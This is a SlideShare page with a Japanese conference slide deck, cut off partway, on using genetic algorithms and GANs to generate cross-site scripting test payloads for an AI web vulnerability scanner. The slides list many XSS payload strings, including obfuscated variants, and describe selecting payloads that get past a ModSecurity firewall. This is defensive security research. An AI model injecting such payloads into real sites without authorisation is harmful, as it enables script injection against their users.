Submit Search
Upload
サイバーセキュリティ錬金術
•
0 likes
•
1,430 views
Isao Takaesu
Follow
ノイズから価値あるデータを生成する技術。
Read less
Read more
Software
Report
Share
Report
Share
1 of 71
Download now
Download to read offline
Recommended
GAとGANによる検査値の自動生成
GAとGANによる検査値の自動生成
Isao Takaesu
ハニーポッター技術交流会
ハニーポッター技術交流会
Isao Takaesu
RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -
Isao Takaesu
機械学習関連情報の収集方法
機械学習関連情報の収集方法
Isao Takaesu
脆弱性診断データの活用例 - Webアプリケーション診断編 -
脆弱性診断データの活用例 - Webアプリケーション診断編 -
Isao Takaesu
機械学習を使ったハッキング手法
機械学習を使ったハッキング手法
Isao Takaesu
RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -
Isao Takaesu
introduce "Stealing Machine Learning Models via Prediction APIs"
introduce "Stealing Machine Learning Models via Prediction APIs"
Isao Takaesu
Recommended
GAとGANによる検査値の自動生成
GAとGANによる検査値の自動生成
Isao Takaesu
ハニーポッター技術交流会
ハニーポッター技術交流会
Isao Takaesu
RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -
Isao Takaesu
機械学習関連情報の収集方法
機械学習関連情報の収集方法
Isao Takaesu
脆弱性診断データの活用例 - Webアプリケーション診断編 -
脆弱性診断データの活用例 - Webアプリケーション診断編 -
Isao Takaesu
機械学習を使ったハッキング手法
機械学習を使ったハッキング手法
Isao Takaesu
RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -
Isao Takaesu
introduce "Stealing Machine Learning Models via Prediction APIs"
introduce "Stealing Machine Learning Models via Prediction APIs"
Isao Takaesu
SecurityCamp2015「バグハンティング入門」
SecurityCamp2015「バグハンティング入門」
Masato Kinugawa
Owasp top10 HandsOn
Owasp top10 HandsOn
masafumi masutani
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Muneaki Nishimura
OWASPの歩き方(How to walk_the_owasp)
OWASPの歩き方(How to walk_the_owasp)
Sen Ueno
20181222 Talk about Security of Pairs without Their Permission
20181222 Talk about Security of Pairs without Their Permission
Typhon 666
フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!
zaki4649
130821 owasp zed attack proxyをぶん回せ
130821 owasp zed attack proxyをぶん回せ
Minoru Sakai
セキュリティスキルをゲットする、たった3つの方法
セキュリティスキルをゲットする、たった3つの方法
Riotaro OKADA
Proxy War EPISODEⅡ
Proxy War EPISODEⅡ
zaki4649
これからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccamp
Kyo Ago
「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座
Riotaro OKADA
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
Riotaro OKADA
第8回脆弱性診断入門
第8回脆弱性診断入門
ionis111
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE
セキュア開発の<s>3つの</s>敵
セキュア開発の<s>3つの</s>敵
Riotaro OKADA
アプリケーションデリバリーのバリューチェイン
アプリケーションデリバリーのバリューチェイン
Riotaro OKADA
今夜わかるWebアプリケーション脆弱性診断 (OWASP Day 758 / 2018)
今夜わかるWebアプリケーション脆弱性診断 (OWASP Day 758 / 2018)
Sen Ueno
Pythonと機械学習によるWebセキュリティの自動化
Pythonと機械学習によるWebセキュリティの自動化
Isao Takaesu
Aiにwebアプリ診断をやらせてみる
Aiにwebアプリ診断をやらせてみる
Isao Takaesu
脆弱性検査ツールってどうよ
脆弱性検査ツールってどうよ
Masakazu Ikeda
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
CODE BLUE
クラウドセキュリティの価値と機会
クラウドセキュリティの価値と機会
Hayato Kiriyama
More Related Content
What's hot
SecurityCamp2015「バグハンティング入門」
SecurityCamp2015「バグハンティング入門」
Masato Kinugawa
Owasp top10 HandsOn
Owasp top10 HandsOn
masafumi masutani
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Muneaki Nishimura
OWASPの歩き方(How to walk_the_owasp)
OWASPの歩き方(How to walk_the_owasp)
Sen Ueno
20181222 Talk about Security of Pairs without Their Permission
20181222 Talk about Security of Pairs without Their Permission
Typhon 666
フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!
zaki4649
130821 owasp zed attack proxyをぶん回せ
130821 owasp zed attack proxyをぶん回せ
Minoru Sakai
セキュリティスキルをゲットする、たった3つの方法
セキュリティスキルをゲットする、たった3つの方法
Riotaro OKADA
Proxy War EPISODEⅡ
Proxy War EPISODEⅡ
zaki4649
これからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccamp
Kyo Ago
「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座
Riotaro OKADA
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
Riotaro OKADA
第8回脆弱性診断入門
第8回脆弱性診断入門
ionis111
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE
セキュア開発の<s>3つの</s>敵
セキュア開発の<s>3つの</s>敵
Riotaro OKADA
アプリケーションデリバリーのバリューチェイン
アプリケーションデリバリーのバリューチェイン
Riotaro OKADA
今夜わかるWebアプリケーション脆弱性診断 (OWASP Day 758 / 2018)
今夜わかるWebアプリケーション脆弱性診断 (OWASP Day 758 / 2018)
Sen Ueno
Pythonと機械学習によるWebセキュリティの自動化
Pythonと機械学習によるWebセキュリティの自動化
Isao Takaesu
Aiにwebアプリ診断をやらせてみる
Aiにwebアプリ診断をやらせてみる
Isao Takaesu
脆弱性検査ツールってどうよ
脆弱性検査ツールってどうよ
Masakazu Ikeda
What's hot
(20)
SecurityCamp2015「バグハンティング入門」
SecurityCamp2015「バグハンティング入門」
Owasp top10 HandsOn
Owasp top10 HandsOn
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASPの歩き方(How to walk_the_owasp)
OWASPの歩き方(How to walk_the_owasp)
20181222 Talk about Security of Pairs without Their Permission
20181222 Talk about Security of Pairs without Their Permission
フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!
130821 owasp zed attack proxyをぶん回せ
130821 owasp zed attack proxyをぶん回せ
セキュリティスキルをゲットする、たった3つの方法
セキュリティスキルをゲットする、たった3つの方法
Proxy War EPISODEⅡ
Proxy War EPISODEⅡ
これからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccamp
「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
第8回脆弱性診断入門
第8回脆弱性診断入門
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
セキュア開発の<s>3つの</s>敵
セキュア開発の<s>3つの</s>敵
アプリケーションデリバリーのバリューチェイン
アプリケーションデリバリーのバリューチェイン
今夜わかるWebアプリケーション脆弱性診断 (OWASP Day 758 / 2018)
今夜わかるWebアプリケーション脆弱性診断 (OWASP Day 758 / 2018)
Pythonと機械学習によるWebセキュリティの自動化
Pythonと機械学習によるWebセキュリティの自動化
Aiにwebアプリ診断をやらせてみる
Aiにwebアプリ診断をやらせてみる
脆弱性検査ツールってどうよ
脆弱性検査ツールってどうよ
Similar to サイバーセキュリティ錬金術
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
CODE BLUE
クラウドセキュリティの価値と機会
クラウドセキュリティの価値と機会
Hayato Kiriyama
The Shift Left Path and OWASP
The Shift Left Path and OWASP
Riotaro OKADA
20180426 不正指令電磁的記録に関する罪とオンプレおよびクラウドにおけるWebネット型インシデントレスポンスについて
20180426 不正指令電磁的記録に関する罪とオンプレおよびクラウドにおけるWebネット型インシデントレスポンスについて
Typhon 666
CISOが、適切にセキュリティ機能とレベルを決めるには
CISOが、適切にセキュリティ機能とレベルを決めるには
Riotaro OKADA
【Interop tokyo 2014】 ビッグデータを活用し、被害を予見! シスコの新たなセキュリティ運用モデル
【Interop tokyo 2014】 ビッグデータを活用し、被害を予見! シスコの新たなセキュリティ運用モデル
シスコシステムズ合同会社
4 Enemies of DevSecOps 2016
4 Enemies of DevSecOps 2016
Riotaro OKADA
Elastic ML Introduction
Elastic ML Introduction
Hiroshi Yoshioka
なぜ自社で脆弱性診断を行うべきなのか
なぜ自社で脆弱性診断を行うべきなのか
Sen Ueno
Amazon Inspector v2で脆弱性管理を始めてみた
Amazon Inspector v2で脆弱性管理を始めてみた
cluclu_land
IVS CTO Night & Day 2016 Tech Talk - AI
IVS CTO Night & Day 2016 Tech Talk - AI
Toshiaki Enami
今日こそわかる、安全なWebアプリの作り方2010
今日こそわかる、安全なWebアプリの作り方2010
Hiroshi Tokumaru
【Log Analytics Tech Meetup】Beatsファミリーの紹介
【Log Analytics Tech Meetup】Beatsファミリーの紹介
Hibino Hisashi
アスカン2018秋ーカイハツセキュリティ3つのレシピ-20181013
アスカン2018秋ーカイハツセキュリティ3つのレシピ-20181013
Hiroaki Kuramochi
20180305_ppl2018_演繹から帰納へ~新しいシステム開発パラダイム~
20180305_ppl2018_演繹から帰納へ~新しいシステム開発パラダイム~
Preferred Networks
Bc threat intelligence_rev2.1
Bc threat intelligence_rev2.1
Takayoshi Takaoka
CISOが、適切にセキュリティ機能とレベルを決めるには― 現状維持か変革かを分けるポイント
CISOが、適切にセキュリティ機能とレベルを決めるには― 現状維持か変革かを分けるポイント
Riotaro OKADA
機械学習応用システムの開発技術(機械学習工学)の現状と今後の展望
機械学習応用システムの開発技術(機械学習工学)の現状と今後の展望
Nobukazu Yoshioka
スマートエスイーセミナー:機外学習応用システムパターンの例
スマートエスイーセミナー:機外学習応用システムパターンの例
HironoriTAKEUCHI1
Signature & Model Hybrid Platform
Signature & Model Hybrid Platform
YOJI WATANABE
Similar to サイバーセキュリティ錬金術
(20)
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
クラウドセキュリティの価値と機会
クラウドセキュリティの価値と機会
The Shift Left Path and OWASP
The Shift Left Path and OWASP
20180426 不正指令電磁的記録に関する罪とオンプレおよびクラウドにおけるWebネット型インシデントレスポンスについて
20180426 不正指令電磁的記録に関する罪とオンプレおよびクラウドにおけるWebネット型インシデントレスポンスについて
CISOが、適切にセキュリティ機能とレベルを決めるには
CISOが、適切にセキュリティ機能とレベルを決めるには
【Interop tokyo 2014】 ビッグデータを活用し、被害を予見! シスコの新たなセキュリティ運用モデル
【Interop tokyo 2014】 ビッグデータを活用し、被害を予見! シスコの新たなセキュリティ運用モデル
4 Enemies of DevSecOps 2016
4 Enemies of DevSecOps 2016
Elastic ML Introduction
Elastic ML Introduction
なぜ自社で脆弱性診断を行うべきなのか
なぜ自社で脆弱性診断を行うべきなのか
Amazon Inspector v2で脆弱性管理を始めてみた
Amazon Inspector v2で脆弱性管理を始めてみた
IVS CTO Night & Day 2016 Tech Talk - AI
IVS CTO Night & Day 2016 Tech Talk - AI
今日こそわかる、安全なWebアプリの作り方2010
今日こそわかる、安全なWebアプリの作り方2010
【Log Analytics Tech Meetup】Beatsファミリーの紹介
【Log Analytics Tech Meetup】Beatsファミリーの紹介
アスカン2018秋ーカイハツセキュリティ3つのレシピ-20181013
アスカン2018秋ーカイハツセキュリティ3つのレシピ-20181013
20180305_ppl2018_演繹から帰納へ~新しいシステム開発パラダイム~
20180305_ppl2018_演繹から帰納へ~新しいシステム開発パラダイム~
Bc threat intelligence_rev2.1
Bc threat intelligence_rev2.1
CISOが、適切にセキュリティ機能とレベルを決めるには― 現状維持か変革かを分けるポイント
CISOが、適切にセキュリティ機能とレベルを決めるには― 現状維持か変革かを分けるポイント
機械学習応用システムの開発技術(機械学習工学)の現状と今後の展望
機械学習応用システムの開発技術(機械学習工学)の現状と今後の展望
スマートエスイーセミナー:機外学習応用システムパターンの例
スマートエスイーセミナー:機外学習応用システムパターンの例
Signature & Model Hybrid Platform
Signature & Model Hybrid Platform
More from Isao Takaesu
Deep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 Arsenal
Isao Takaesu
OSSで作る機械学習を用いたペネトレーションテストツール
OSSで作る機械学習を用いたペネトレーションテストツール
Isao Takaesu
サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
Isao Takaesu
Convolutional Neural Networkに対する攻撃手法
Convolutional Neural Networkに対する攻撃手法
Isao Takaesu
Discussion AIの脆弱性について
Discussion AIの脆弱性について
Isao Takaesu
ITエンジニアのための機械学習理論入門 第5章
ITエンジニアのための機械学習理論入門 第5章
Isao Takaesu
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
Isao Takaesu
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
Isao Takaesu
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
Isao Takaesu
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
Isao Takaesu
More from Isao Takaesu
(10)
Deep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 Arsenal
OSSで作る機械学習を用いたペネトレーションテストツール
OSSで作る機械学習を用いたペネトレーションテストツール
サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
Convolutional Neural Networkに対する攻撃手法
Convolutional Neural Networkに対する攻撃手法
Discussion AIの脆弱性について
Discussion AIの脆弱性について
ITエンジニアのための機械学習理論入門 第5章
ITエンジニアのための機械学習理論入門 第5章
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
サイバーセキュリティ錬金術
1.
2017.10.30 AISECjp #16 Presented by
Isao Takaesu サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
2.
About the speaker •
職業 : セキュリティエンジニア • 所属 : 三井物産セキュアディレクション • 趣味 : 脆弱性スキャナ作り、機械学習 • ブログ: http://www.mbsd.jp/blog/ • Black Hat Asia Arsenal, CODE BLUE / 2016 • 情報セキュリティEXPO, PYCON JP / 2017 • 勉強会「AISECjp」を主催 高江洲 勲 Takaesu Isao AISECjp Twitter: @bbr_bbq 1
3.
セキュリティ技術者の圧倒的な不足 AISECjp 背景 その数、約24万人 (IPA調べ) 2
4.
人間のみでは限界では? AISECjp 背景 3
5.
サイバーセキュリティの完全自動化 AISECjp 研究の目的 4
6.
先ずは、 Webアプリケーション診断 を自動化。 AISECjp 研究の目的 5
7.
Webアプリケーション診断とは… Webアプリの脆弱性を検出 AISECjp Webアプリケーション診断とは? 6
8.
AISECjp Webアプリケーション診断 診断員 Web Server Web Apps Fire
wall 診断ベンダ 顧客 1. 疑似攻撃 SQLi? XSS? 2. 反応の分析 1. Webアプリをクローリングしながら疑似攻撃 2. Webアプリの反応を分析して脆弱性を判定 7
9.
診断員の職人技に大きく依存 それによる人手不足 AISECjp Webアプリケーション診断の課題 8
10.
AISECjp 研究の最終目標 人間の診断員のように、 Webアプリの脆弱性を検出するスキャナの開発 SAIVS Spider Artificial Intelligence
Vulnerability Scanner ※現在はβ版 9
11.
AISECjp SAIVSの能力 ・Webアプリのクローリング ・脆弱性の検出 http://www.mbsd.jp/insight.html 10
12.
AISECjp SAIVSの能力 ・Webアプリのクローリング ・脆弱性の検出 http://www.mbsd.jp/insight.html 11
13.
AISECjp 対象の脆弱性 Reflected Cross-Site Scripting (クロスサイトスクリプティング:XSS) 12
14.
・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 タグの外 “sCriPt” 他のタグ URL encode 検査値 Event handler ・ ・ ・ Q-learning 状態観測 脆弱性の検出エンジン ・ ・ ・ 評価 重み更新 “ ⇒ " <
⇒ < ・・・ 防御機構 > ⇒ > Webアプリの挙動に応じて、適切な検査値を送信可能。 Multilayer Perceptron AISECjp13
15.
・ ・ ・ ・ ・ ・ 属性値 JS内 ・・・ 出力箇所 タグの外 “sCriPt” 他のタグ URL encode 検査値 Event handler ・ ・ ・ Q-learning 状態観測 ・ ・ ・ 評価 重み更新 “ ⇒ " <
⇒ < ・・・ 防御機構 > ⇒ > Multilayer Perceptron AISECjp 脆弱性の検出エンジン Webアプリの挙動に応じて、適切な検査値を送信可能。 14
16.
検査値の一例 <script>alert();</script> <img[Sp]src=x[Sp]onerror=alert();> </textarea><script>alert();</script> "><script>alert();</script> '--><script>prompt();</script> "><frame[Sp]src="javascript:prompt()"> ';[Sp]alert();// [CrLf][Sp]MsgBox[Sp]Document.Domain javascript:alert``; ・・・ Webアプリに潜むXSSを検出するための文字列。 パターンが豊富であり、作成するにはノウハウが必要。 AISECjp 例)Cross-Site Scripting(XSS)の検査値 15
17.
AISECjp ノウハウが必要なXSSの検査値を ノウハウ無しで自動生成する。 今回のお話 16
18.
AISECjp 検査値の自動生成方法 ・遺伝的アルゴリズム (Genetic Algorithm
: GA) ・Generative Adversarial Networks (GAN) 17
19.
AISECjp 生成手順 1.GAで検査値を幾つか生成(5~6パターンくらい) 2.GANで(1の検査値を基に)大量の検査値を生成 18
20.
AISECjp 生成手順 1.GAで検査値を幾つか生成(5~6パターンくらい) 2.GANで(1の検査値を基に)大量の検査値を生成 19
21.
AISECjp 遺伝的アルゴリズム(Genetic Algorithm:GA) 進化計算を繰り返し、最適な遺伝子の組み合わせの個体を探索。 ● ▲
■ × ★ 初期集団の生成 適応度評価・選択 交叉突然変異 個体 遺伝子 世代交代 20
22.
進化計算の流れ(1/5) AISECjp 初期集団の生成 適応度評価・選択 交叉突然変異 個体 ● ▲
■ × ★遺伝子 世代交代 21
23.
進化計算の流れ(2/5) AISECjp 初期集団の生成 適応度評価・選択 交叉突然変異 個体 ● ▲
■ × ★遺伝子 世代交代 22
24.
進化計算の流れ(3/5) AISECjp 初期集団の生成 適応度評価・選択 交叉突然変異 個体 ● ▲
■ × ★遺伝子 世代交代 23
25.
進化計算の流れ(4/5) AISECjp 初期集団の生成 適応度評価・選択 交叉突然変異 個体 ● ▲
■ × ★遺伝子 世代交代 24
26.
進化計算の流れ(5/5) AISECjp 初期集団の生成 適応度評価・選択 交叉突然変異 個体 ● ▲
■ × ★遺伝子 世代交代 25
27.
利用例 AISECjp 新幹線N700系 空気抵抗の少ないエアロ・ダブルウィング形状の計算 http://trendy.nikkeibp.co.jp/article/column/20070705/1001439/ Super
Mario World 全自動クリアが可能なMarioの行動パターンを計算 http://gigazine.net/news/20150616-mari-o/ American Fuzzy Lop (Fuzzer) カバレッジが高くなるFuzzを計算 http://lcamtuf.coredump.cx/afl/ 26
28.
AISECjp GAによる検査値の生成方法 ・XSSの検査値の一例 “><script>alert();</script> <object data=xss.html> <svg/onload=al¥u0065rt();> <video><source onerror=confirm(1);> <iframe
onload=alert();> 検査値はHTMLやJavaScriptの要素の組み合わせで構成。 27
29.
AISECjp GAによる検査値の生成方法 ・XSSの検査値の一例 [“], [>], [<script>],
[alert();], [</script>] [<object], [data=], [xss.html], [>] [<svg], [/], [onload=], [al¥u0065rt();], [>] [<video>], [<source], [onerror=], [confirm(1);], [>] [<iframe], [onload=], [alert();], [>] 各検査値の最小要素を遺伝子として定義。 最適な遺伝子の組み合わせ(XSS検出可能)の個体を探索。 28
30.
AISECjp 言葉の定義 遺伝子(gene) HTML/JSの最小構成要素 例)<img/, src=,
x, onerror=, alert();, /> 個体(individual) 遺伝子の組み合わせ(=検査値の候補) 例)<img/src=x onerror=alert(); /> 適応度(fitness)・評価(evaluation) HTML構文の妥当性やスクリプト実行可能性を評価 29
31.
AISECjp 言葉の定義 選択(selection) スクリプト実行可能性が高い個体(の遺伝子)を次世代に引き継ぐ ぜんぜんダメな個体は淘汰 交叉(crossover) 選択された二つの個体の遺伝子を掛け合わせて子孫を作る よりスクリプト実行の可能性が高い子孫が誕生する
突然変異(mutation) 個体の遺伝子をランダムに入れ替える 局所解に陥るのを防ぐ 30
32.
AISECjp 事前準備 1. MDN docs/w3schools等からHTML/JS構文を収集 2.
構文をHTMLタグや属性等の最小要素に分割 3. 最小要素を遺伝子と定義(約220種類) 遺伝子リスト(約220種類) 31
33.
AISECjp 検査値の自動生成(1/6):初期集団の生成 ランダムに5個の遺伝子を選択し、1世代あたり100個体を生成。 初期集団の生成 適応度評価 選択 交叉 突然変異 終了 {85, 158, 96,
32, 85} {179, 62, 33, 130, 133} 遺伝子リスト {98, 82, 25, 41, 198} {55, 9, 94, 194, 55} ・・・ {76, 6, 114, 149, 70} {107, 140, 172, 150, 38} {102, 169, 76, 90, 208} {21, 168, 111, 15, 159} 初期集団(各遺伝子はユニークな数値で符号化) 個体例(表現型にした様子) </blockquote>content= <basefont/<form </blockquote> <iframe/language= <keygen/</img>coords= 32
34.
AISECjp 検査値の自動生成(2/6):適応度評価 初期集団の生成 適応度評価 選択 交叉 突然変異 終了 評価関数 1.HTML構文としての正しさ 構文チェッカ「tidy」で評価。 2.スクリプトの実行可否 Seleniumで評価(イベント系もハンドリング) 3.WAFの突破可否 ModSecurityで評価 個体の適応度を評価し、スコアを計算。 33
35.
AISECjp 検査値の自動生成(3/6):選択 初期集団の生成 適応度評価 選択 交叉 突然変異 終了 スコアの高い個体を選択。 それ以外の個体は淘汰(破棄)。 onerror=¥u0061lert();<body/list=<iframe/<progress <hr <thead </td>rowspan=accept= src=/
<a/</col><td </area> 選択 淘汰 onerror=alert();><body onerror=al¥u0065rt();<output </applet><isindex/alert();<progress/script:alert(); <iframe/language= <keygen/</img>coords= <hr ><video>onmouseover=confirm();><a <body><img/<source/onerror=prompt();> ・・・ ・・・ 34
36.
AISECjp 検査値の自動生成(4/6):交叉 初期集団の生成 適応度評価 選択 交叉 突然変異 終了 選択された個体の遺伝子を掛け合わせ 優秀な子孫を次世代に残す。 src=/ <a/</col><td </area> 親(現世代) onerror=alert();><body
onerror=al¥u0065rt();<output <hr ><video>onmouseover=confirm();><a <body><img/<source/onerror=prompt();> × × ・・・ 子孫(offspring) </col><td><body onerror=al¥u0065rt();<output <hr><video><source/onerror=prompt();> ・・・ 35
37.
AISECjp 検査値の自動生成(5/6):突然変異 初期集団の生成 適応度評価 選択 交叉 突然変異 終了 一定割合の個体・遺伝子をランダムに 入れ替える(局所解の脱出) src=/ <a/</col><td </area> 変異前 変異後 <hr
><video>onmouseover=confirm();><a <body><img/<source/onerror=prompt();> ・・・ onerror=alert();><body onerror=al¥u0065rt();<output src=/ onerror=alert();<td </area> <video><source/onmouseover=confirm();><a <body><img/src= onerror=prompt();> ・・・ onerror=alert();><body onerror=al¥u0065rt();/> 36
38.
AISECjp 検査値の自動生成(6/6):終了 初期集団の生成 適応度評価 選択 交叉 突然変異 終了 終了条件 ・ 最大10,000世代 ・
スコア3.0以上 終了条件を満たしたら進化計算を停止。 37
39.
AISECjp! 余談:ブログ「脆弱性検査値の自動生成」 ・生成手順の詳細 日本語:https://www.mbsd.jp/blog/20170821.html English:https://www.mbsd.jp/blog/20170921.html 38
40.
AISECjp GAによる検査値の生成結果 進化計算を繰り返すことで、約6種類の検査値を生成。 ※計算時間は各5時間程度 No 検査値 1 <script>al¥u0065rt``;</script> 2
<iframe/onload=alert();><select/cols= 3 <svg/onload=alert();></iframe><q 4 <video><source onerror=confirm(1);> 5 <body onload=alert();><form </thead> 6 <video><source onerror=alert();src=x <video> ・GAで生成した検査値例 39
41.
AISECjp GAによる検査値の生成結果 進化計算を繰り返すことで、約6種類の検査値を生成。 ※計算時間は各5時間程度 ⇒ あまり効率的ではない・・・ No
検査値 1 <script>al¥u0065rt``;</script> 2 <iframe/onload=alert();><select/cols= 3 <svg/onload=alert();></iframe><q 4 <video><source onerror=confirm(1);> 5 <body onload=alert();><form </thead> 6 <video><source onerror=alert();src=x <video> ・GAで生成した検査値例 40
42.
AISECjp 生成手順 1.GAで検査値を幾つか(5~6パターンくらい)生成 2.GANで(1の検査値を基に)大量の検査値を生成 41
43.
AISECjp Generative Adversarial Networks:GAN 訓練データを模倣したfakeデータを大量に生成。 ・ ・ ・ Noise
(Z) Generator (G) ・ ・ ・ Fake Data: G(z) ・ ・ ・ ・ ・ ・ Train Data Train Data ・・・ Discriminator (D) Probability True? X 42
44.
AISECjp GANの利用例:手書き数字画像の生成 学習の結果、訓練データに近似したデータを生成。 学習の過程で、訓練データとは似て非なるデータを大量生成。 ・訓練データ ・GANによる生成データ(fakeデータ) 43
45.
AISECjp GANによる検査値の生成方法 ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ Genetic Algorithm Probability True? GAN ”GAの検査値”を訓練データにし、様々な検査値を生成。 Fake Data: G(z) Noise
(Z) Generator (G) Train Data Train Data ・・・ Discriminator (D) X 44
46.
AISECjp GANで生成した検査値(1/6) 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ:<script>alert();</script></table><hr/ --------------------------------------------------- 生成データ: <script>alert``;</script><table/</td> <script>al¥u0065rt();</script></tr><th/ <script>prompt(1);</script><th/<col/ <script>confirm(1);</script><thead <table/ ・・・ ・GANの学習過程で生成された検査値 45
47.
AISECjp GANで生成した検査値(2/6) 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ:<iframe/onload=alert();><select/ --------------------------------------------------- 生成データ: colspan=<iframe <a onload=al¥u0065rt();> <object/onload="onfocus=alert();"<script
type="text/javascript"> <iframe onload=alert``; /><select icon=<iframe/<img onload=al¥u0065rt();> ・・・ ・GANの学習過程で生成された検査値 46
48.
AISECjp GANで生成した検査値(2/6) 訓練データに含まれないHTMLタグを使った検査値も生成。 検査値 訓練データ:<iframe/onload=alert();><select/ --------------------------------------------------- 生成データ: colspan=<iframe <a onload=al¥u0065rt();> <object/onload="onfocus=alert();"<script
type="text/javascript"> <iframe onload=alert``; /><select icon=<iframe/<img onload=al¥u0065rt();> ・・・ ・GANの学習過程で生成された検査値 47
49.
AISECjp GANで生成した検査値(3/6) 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ:<svg/<canvas/<select/onload=confirm(1);> --------------------------------------------------- 生成データ: <svg/onload="¥u0061lert();"></output> <object/src=x onload=alert();¥n<script type="text/javascript"> <script/src="data:text/html,alert();"<script></script> <svg/onload=confirm(1);> ・・・ ・GANの学習過程で生成された検査値 48
50.
AISECjp GANで生成した検査値(3/6) 検査値 訓練データ:<svg/<canvas/<select/onload=confirm(1);> --------------------------------------------------- 生成データ: <svg/onload="¥u0061lert();"></output> <object/src=x onload=alert();¥n<script type="text/javascript"> <script/src="data:text/html,alert();"<script></script> <svg/onload=confirm(1);> ・・・ ・GANの学習過程で生成された検査値 訓練データに含まれないHTMLタグを使った検査値も生成。 49
51.
AISECjp GANで生成した検査値(4/6) 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ:<video><source onerror=confirm(1);> --------------------------------------------------- 生成データ: <video><source onerror="¥u0061lert``;"> <video><source
onerror="al¥u0065rt``;"> <video><source/onerror=alert();> <video><source onerror=prompt(1);> ・・・ ・GANの学習過程で生成された検査値 50
52.
AISECjp GANで生成した検査値(5/6) 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ:icon=<iframe/<body onload=¥u0061lert();> --------------------------------------------------- 生成データ: headers=<body/<body onload=alert();> icon=<body
<input/onload=confirm(1);> kind=<body <img onload=alert``;> <img src=x <keygen onerror=¥u0061lert``;> ・・・ ・GANの学習過程で生成された検査値 51
53.
AISECjp GANで生成した検査値(5/6) 検査値 訓練データ:icon=<iframe/<body onload=¥u0061lert();> --------------------------------------------------- 生成データ: headers=<body/<body onload=alert();> icon=<body
